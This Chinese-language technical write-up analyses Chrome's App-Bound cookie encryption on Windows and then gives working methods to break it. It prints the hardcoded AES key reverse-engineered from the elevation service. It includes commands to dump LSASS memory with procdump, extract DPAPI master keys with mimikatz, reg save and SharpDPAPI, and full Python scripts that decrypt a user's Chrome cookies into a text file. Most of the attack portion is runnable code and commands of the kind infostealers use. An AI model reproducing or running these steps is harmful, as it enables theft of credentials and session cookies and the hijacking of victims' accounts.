前言 最近Google对Windows版Chrome中存储的Cookie的保护机制做了升级,即应用程序绑定加密
。在Chrome 127中,在Windows上引入了一种新的保护措施,通过提供应用程序绑定(App-Bound
)的加密方式来改进旧版Google Chrome所使用的Windows原生数据保护API(DPAPI)的加密方式,从而保护Cookie。
工作原理 App-Bound加密
依靠特权服务来验证请求应用程序的身份。它通过将数据存储在加密的数据文件中,并使用以SYSTEM身份运行的服务来验证任何解密尝试是否来自Chrome进程,然后将密钥返回到该进程以解密存储的数据来实现这一点。在加密过程中,App-Bound加密服务将应用程序的身份编码到加密数据中,然后在尝试解密时验证其是否有效。如果系统上的另一个应用程序尝试解密相同的数据,它将失败。
源码分析 公开的Chromium源代码地址:https://source.chromium.org/
Chrome存储数据的SQLite数据库中的加密值现在以v20
为前缀,表明这些值现在使用应用程序绑定加密进行加密。
以v20
、app-bound encryption
作为切入点。
这里只贴了关键部分的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 constexpr char kEncryptedKeyPrefName[] = "os_crypt.app_bound_encrypted_key" ;constexpr uint8_t kCryptAppBoundKeyPrefix[] = {'A' , 'P' , 'P' , 'B' };constexpr char kAppBoundDataPrefix[] = "v20" ;base::expected<std::vector<uint8_t >, AppBoundEncryptionProviderWin::KeyRetrievalStatus> AppBoundEncryptionProviderWin::RetrieveEncryptedKey () { const std::string base64_encrypted_key = local_state_->GetString (kEncryptedKeyPrefName); std::optional<std::vector<uint8_t >> encrypted_key_with_header = base::Base64Decode (base64_encrypted_key); return std::vector <uint8_t >(encrypted_key_with_header->cbegin () + sizeof (kCryptAppBoundKeyPrefix), encrypted_key_with_header->cend ()); } void AppBoundEncryptionProviderWin::GetKey (KeyCallback callback) { auto encrypted_key_data = RetrieveEncryptedKey (); if (encrypted_key_data.has_value ()) { com_worker_.AsyncCall (&AppBoundEncryptionProviderWin::COMWorker::DecryptKey) .WithArgs (std::move (encrypted_key_data.value ())) .Then (base::BindOnce (&AppBoundEncryptionProviderWin::ReplyWithKey, std::move (callback))); return ; } const auto random_key = crypto::RandBytesAsVector (os_crypt_async::Encryptor::Key::kAES256GCMKeySize); std::vector<uint8_t > decrypted_key (random_key.cbegin(), random_key.cend()) ; com_worker_.AsyncCall (&AppBoundEncryptionProviderWin::COMWorker::EncryptKey) .WithArgs (std::move (random_key)) .Then (base::BindOnce ( &AppBoundEncryptionProviderWin::StoreEncryptedKeyAndReply, weak_factory_.GetWeakPtr (), std::move (decrypted_key), std::move (callback))); } class AppBoundEncryptionProviderWin ::COMWorker { public : std::optional<const std::vector<uint8_t >> DecryptKey (const std::vector<uint8_t >& encrypted_key) { HRESULT res = os_crypt::DecryptAppBoundString (encrypted_key_string, decrypted_key_string, last_error, &log_message); std::vector<uint8_t > data (decrypted_key_string.cbegin(), decrypted_key_string.cend()) ; return data; } };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 HRESULT DecryptAppBoundString (const std::string& ciphertext, std::string& plaintext, DWORD& last_error, std::string* log_message) { base::win::AssertComInitialized (); Microsoft::WRL::ComPtr<IElevator> elevator; HRESULT hr = ::CoCreateInstance (install_static::GetElevatorClsid (), nullptr , CLSCTX_LOCAL_SERVER, install_static::GetElevatorIid (), IID_PPV_ARGS_Helper (&elevator)); hr = ::CoSetProxyBlanket (elevator.Get (), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr , EOAC_DYNAMIC_CLOAKING); base::win::ScopedBstr ciphertext_data; ::memcpy (ciphertext_data.AllocateBytes (ciphertext.length ()), ciphertext.data (), ciphertext.length ()); base::win::ScopedBstr plaintext_data; hr = elevator->DecryptData (ciphertext_data.Get (), plaintext_data.Receive (), &last_error); plaintext.assign (reinterpret_cast <std::string::value_type*>(plaintext_data.Get ()), plaintext_data.ByteLength ()); return S_OK; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 HRESULT Elevator::DecryptData (const BSTR ciphertext, BSTR* plaintext, DWORD* last_error) { UINT length = ::SysStringByteLen (ciphertext); DATA_BLOB input = {}; input.cbData = length; input.pbData = reinterpret_cast <BYTE*>(ciphertext); DATA_BLOB intermediate = {}; if (!::CryptUnprotectData (&input, nullptr , nullptr , nullptr , nullptr , 0 , &intermediate)) { *last_error = ::GetLastError (); return kErrorCouldNotDecryptWithSystemContext; } HRESULT hr = ::CoImpersonateClient (); std::string plaintext_str; { DATA_BLOB output = {}; if (!::CryptUnprotectData (&intermediate, nullptr , nullptr , nullptr , nullptr , 0 , &output)) { *last_error = ::GetLastError (); return kErrorCouldNotDecryptWithUserContext; } std::string mutable_plaintext (reinterpret_cast <char *>(output.pbData), output.cbData) ; const std::string validation_data = PopFromStringFront (mutable_plaintext); const auto data = std::vector <uint8_t >(validation_data.cbegin (), validation_data.cend ()); const auto process = GetCallingProcess (); HRESULT validation_result = (process, data, &log_message); plaintext_str = PopFromStringFront (mutable_plaintext); } #if BUILDFLAG(GOOGLE_CHROME_BRANDING) auto post_process_result = PostProcessData (plaintext_str); if (!post_process_result.has_value ()) { return post_process_result.error (); } plaintext_str.swap (*post_process_result); #endif *plaintext = ::SysAllocStringByteLen (plaintext_str.c_str (), plaintext_str.length ()); return S_OK; }
elevation_service.exe没有使用混淆,可以使用Ghidra对进行逆向分析,这里是以CryptUnprotectData
函数作为切入点。
CryptUnprotectData
-> 14002a5d2 FUN_14002a550 Call CALL qword ptr [->CRYPT32.DLL::CryptUnprotectData]
继续跟进下去就可以发现在进行两次DPAPI解密后,还需要再进行一次AES解密,AES函数的特征还是很容易识别的。
程序中的密钥硬编码如下:
1 2 B3 1C 6E 24 1A C8 46 72 8D A9 C1 FA C4 93 66 51 CF FB 94 4D 14 3A B8 16 27 6B CC 6D A0 28 47 87
v20解密方法 Google Chrome Elevation Service https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
利用每个浏览器独有的内部基于COM的IElevator服务 来检索和解密密钥,其实就是调用了原生的Google Chrome Elevation Service 进行解密。
将chrome_decrypt.cpp
编译成可执行文件exe,把编译后的可执行文件放在Chrome应用程序目录中(例如C:\Program Files\Google\Chrome\Application
),从命令行运行可执行文件:
上图中DECRYPED KEY
就是最终解出来的密钥,后续就可以利用这个密钥去解cookie。
由于ABE的路径验证 限制,此工具一定要在每个浏览器的应用程序目录下运行。
用该密钥解Cookies文件的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import binasciifrom Crypto.Cipher import AESimport datetimeimport osimport pathlibimport sqlite3def decrypt (decrypted_key, db_path, output ): key = binascii.unhexlify(decrypted_key) con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro" , uri=True ) cur = con.cursor() r = cur.execute("SELECT host_key, path, name, CAST(encrypted_value AS BLOB), is_secure, is_httponly, samesite, creation_utc, expires_utc,last_access_utc from cookies;" ) cookies = cur.fetchall() cookies_v20 = [c for c in cookies if c[3 ][:3 ] == b"v20" ] con.close() with open (output, "a" , encoding="utf-8" ) as w: w.write("host_key\tpath\tname\tvalue\tis_secure\tis_httponly\tsamesite\tcreation_utc\texpires_utc\tlast_access_utc\n" ) for c in cookies_v20: w.write("\t" .join(c[:3 ]) + "\t" + decrypt_cookie_v20(key, c[3 ]) +"\t" + "\t" .join([str (v) for v in c[4 :]]) +"\n" ) def convert_17bit_to_unix_timestamp (seventeen_bit_timestamp ): try : fourteen_bit_timestamp = seventeen_bit_timestamp // 1000 EPOCH_DIFFERENCE = 11644473600 unix_timestamp = fourteen_bit_timestamp / 1000 - EPOCH_DIFFERENCE return datetime.datetime.utcfromtimestamp(unix_timestamp) except Exception as e: return seventeen_bit_timestamp def decrypt_cookie_v20 (key, encrypted_value ): cookie_iv = encrypted_value[3 :3 + 12 ] encrypted_cookie = encrypted_value[3 + 12 :-16 ] cookie_tag = encrypted_value[-16 :] cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv) decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie,cookie_tag) return decrypted_cookie[32 :].decode('utf-8' ) if __name__ == "__main__" : key = "7e6b050c93433d27caafabed266d9cf71179142f2106c4e72bced66d0c8aaa9d" LOCAL_APP_DATA = os.environ['LOCALAPPDATA' ] db_path = rf"{LOCAL_APP_DATA} \Google\Chrome\User Data\Default\Network\Cookies" output = "Cookies.txt" decrypt(key, db_path, output)
chrome_v20_decryption 该作者根据分析Chromium source code,写了对应的python解密脚本https://github.com/runassu/chrome_v20_decryption/issues/7#issuecomment-2445724559
离线解密(手动) 将需要在本地执行的脚本chrome_v20_decryption
拆分后离线完成。
获取App_Bound_Encrypted_key 离线C:\Users\用户\AppData\Local\Google\Chrome\User Data\Local State
文件,然后取出app_bound_encrypted_key
字段值进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import binasciiimport jsonwith open ("local state" , "r" ) as f: local_state = json.load(f) app_bound_encrypted_key = local_state["os_crypt" ]["app_bound_encrypted_key" ] assert (binascii.a2b_base64(app_bound_encrypted_key)[:4 ] == b"APPB" )app_bound_encrypted_key_b64 = binascii.b2a_base64(binascii.a2b_base64(app_bound_encrypted_key)[4 :]).decode().strip() print (binascii.a2b_base64(app_bound_encrypted_key)[4 :].hex ())byte_data = bytes .fromhex(binascii.a2b_base64(app_bound_encrypted_key)[4 :].hex ()) with open ("app_bound_encrypted_key_file" , "wb" ) as w: w.write(byte_data)
分别获取系统和用户的MasterKey 方法一 使用procdump dump出LSASS进程内存
管理员权限:
1 procdump.exe -accepteula -ma lsass.exe lsass.dmp
使用mimikatz加载dmp文件并获取各个Master Key file对应的MasterKey
1 2 sekurlsa::minidump lsass.dmp sekurlsa::dpapi
方法二 复制注册表文件
获取系统MasterKey
管理员权限:
1 2 reg save HKLM\SYSTEM SYSTEM.hiv reg save HKLM\SECURITY SECURITY.hiv
从注册表文件中获得DPAPI_SYSTEM
1 lsadump::secrets /system:SYSTEM.hiv /security:SECURITY.hiv
DPAPI_SYSTEM
中的user hash
为088f74cf89f8ac2f57ef14ef4c96d70fd9bba6ab
,能够用来解密位于System32\Microsoft\Protect\S-1-5-18\User
下的系统Master Key file
用以下脚本从app_bound_encrypted_key
中获取使用解密的guid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import structimport uuiddef extract_guid_master_key_from_file (file_path, blob_type="credential" ): """ 从文件中读取 DPAPI blob 数据并提取 guidMasterKey。 :param file_path: 文件路径 :param blob_type: blob 类型 ("credential", "policy", "blob", "rdg", "chrome", "keepass") :return: 返回解析的 guidMasterKey 字符串 """ try : with open (file_path, "rb" ) as file: blob_bytes = file.read() if blob_type == "credential" : offset = 36 elif blob_type in ["policy" , "blob" , "rdg" , "chrome" , "keepass" ]: offset = 24 else : raise ValueError(f"Unsupported blob type: {blob_type} " ) if len (blob_bytes) < offset + 16 : raise ValueError("Blob data is too short to extract guidMasterKey." ) guid_master_key_bytes = blob_bytes[offset:offset + 16 ] guid_master_key = str (uuid.UUID(bytes_le=guid_master_key_bytes)) if blob_type not in ["rdg" , "chrome" ]: print (f" guidMasterKey : {{{guid_master_key} }}" ) return guid_master_key except FileNotFoundError: print (f"File '{file_path} ' not found." ) return None except Exception as e: print (f"An error occurred: {e} " ) return None if __name__ == "__main__" : file_path = "app_bound_encrypted_key" guid = extract_guid_master_key_from_file(file_path, blob_type="chrome" ) if guid: print (f"Extracted guidMasterKey: {{{guid} }}" )
将System32\Microsoft\Protect\S-1-5-18\User
下对应的guid
文件复制出来解密
得到系统的MasterKey{2eb60c3e-9d80-4988-a09d-3dfc004da831}:832767e4d883fe95d4ec8d4cbe25adb79e35c6f7
,保存为masterkey_system.txt
获取用户MasterKey
将C:\Users\用户名\AppData\Roaming\Microsoft\Protect\用户名对应的SID
整个文件夹离线出来
1 SharpDPAPI.exe masterkeys /password:用户明文密码 /target:C:\Temp\SID文件夹
将得到的用户的MasterKey保存为masterkey_user.txt
解密app_bound_encrypted_key和cookie 用system的masterkey对app_bound_encrypted_key密文进行第一次解密,SYSTEM DPAPI
将得到的dec(blob)
再次以hex形式写入文件中为app_bound_encrypted_key_file_2
1 SharpDPAPI.exe blob /mkfile:./masterkey_system.txt /target:./app_bound_encrypted_key_file
用user的masterkey对app_bound_encrypted_key_file_2中的密文进行第二次解密,user DPAPI
1 SharpDPAPI.exe blob /mkfile:./masterkey_user.txt /target:./app_bound_encrypted_key_file_2
得到的dec(blob)
为最终解密出来的key
在其他浏览器中,可以直接获取32字节AES密钥来解密加密的cookie,但从之前的代码分析得出的结论来看,Chrome还需要多一步(AES解密)。经过两步DPAPI解密后,结果值带有Chrome路径,然后是1字节标志0x01,12字节IV,32字节密文,16字节TAG。
VI : BD 6D 2D C8 D9 B9 E0 7D 80 4D DC C8
ciphertext : C9 3F D2 5A D0 EF F7 F3 E7 6F 91 AF F2 DF 88 C3 D3 EE 53 A9 E2 79 10 A4 BE 33 D3 E2 FC 30 D5 99
TAG : 2E CF 8C 99 D8 BC 7B 6F CD 1E F9 B8 F5 4B 5E 97
使用AES-256-GCM
对其进行解密,对应的解密密钥在之前已经给出,解密后将产生解密cookie的密钥,其接下来解密的工作原理与v10
完全相同。
解密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import binasciiimport datetimefrom Crypto.Cipher import AESimport sqlite3import pathlibdef decrypt (brower, decrypted_key, db_path, output ): decrypted_key = binascii.unhexlify(decrypted_key) if brower == "chrome" : decrypted_key = decrypted_key[-73 :-12 ] assert (decrypted_key[0 ] == 1 ) aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=" ) iv = decrypted_key[1 :1 + 12 ] ciphertext = decrypted_key[1 + 12 :1 + 12 + 32 ] tag = decrypted_key[1 + 12 + 32 :] cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv) key = cipher.decrypt_and_verify(ciphertext, tag) else : key = decrypted_key[-40 :-8 ] con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro" , uri=True ) cur = con.cursor() r = cur.execute("SELECT host_key, path, name, CAST(encrypted_value AS BLOB), is_secure, is_httponly, samesite, creation_utc, expires_utc,last_access_utc from cookies;" ) cookies = cur.fetchall() cookies_v20 = [c for c in cookies if c[3 ][:3 ] == b"v20" ] con.close() with open (output, "a" , encoding="utf-8" ) as a: a.write("host_key\tpath\tname\tvalue\tis_secure\tis_httponly\tsamesite\tcreation_utc\texpires_utc\tlast_access_utc\n" ) for c in cookies_v20: a.write("\t" .join(c[:3 ]) + "\t" + decrypt_cookie_v20(key, c[3 ]) +"\t" + "\t" .join([str (v) for v in c[4 :]]) +"\n" ) def convert_17bit_to_unix_timestamp (seventeen_bit_timestamp ): try : fourteen_bit_timestamp = seventeen_bit_timestamp // 1000 EPOCH_DIFFERENCE = 11644473600 unix_timestamp = fourteen_bit_timestamp / 1000 - EPOCH_DIFFERENCE return datetime.datetime.utcfromtimestamp(unix_timestamp) except Exception as e: return seventeen_bit_timestamp def decrypt_cookie_v20 (key, encrypted_value ): cookie_iv = encrypted_value[3 :3 + 12 ] encrypted_cookie = encrypted_value[3 + 12 :-16 ] cookie_tag = encrypted_value[-16 :] cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv) decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie,cookie_tag) return decrypted_cookie[32 :].decode('utf-8' ) if __name__ == "__main__" : BROWSER = "chrome" key = "1F00000002433A5C50726F6772616D2046696C65735C476F6F676C655C4368726F6D653D00000001BD6D2DC8D9B9E07D804DDCC8C93FD25AD0EFF7F3E76F91AFF2DF88C3D3EE53A9E27910A4BE33D3E2FC30D5992ECF8C99D8BC7B6FCD1EF9B8F54B5E970C0C0C0C0C0C0C0C0C0C0C0C" db_path = "Cookies" output = "Cookies.txt" decrypt(BROWSER, key, db_path, output)
参考资料:https://github.com/runassu/chrome_v20_decryption/issues/7#issuecomment-2445724559 Katz and Mouse Game: MaaS Infostealers Adapt to Patched Chrome Defenses 渗透技巧-获取Windows系统下DPAPI中的MasterKey https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials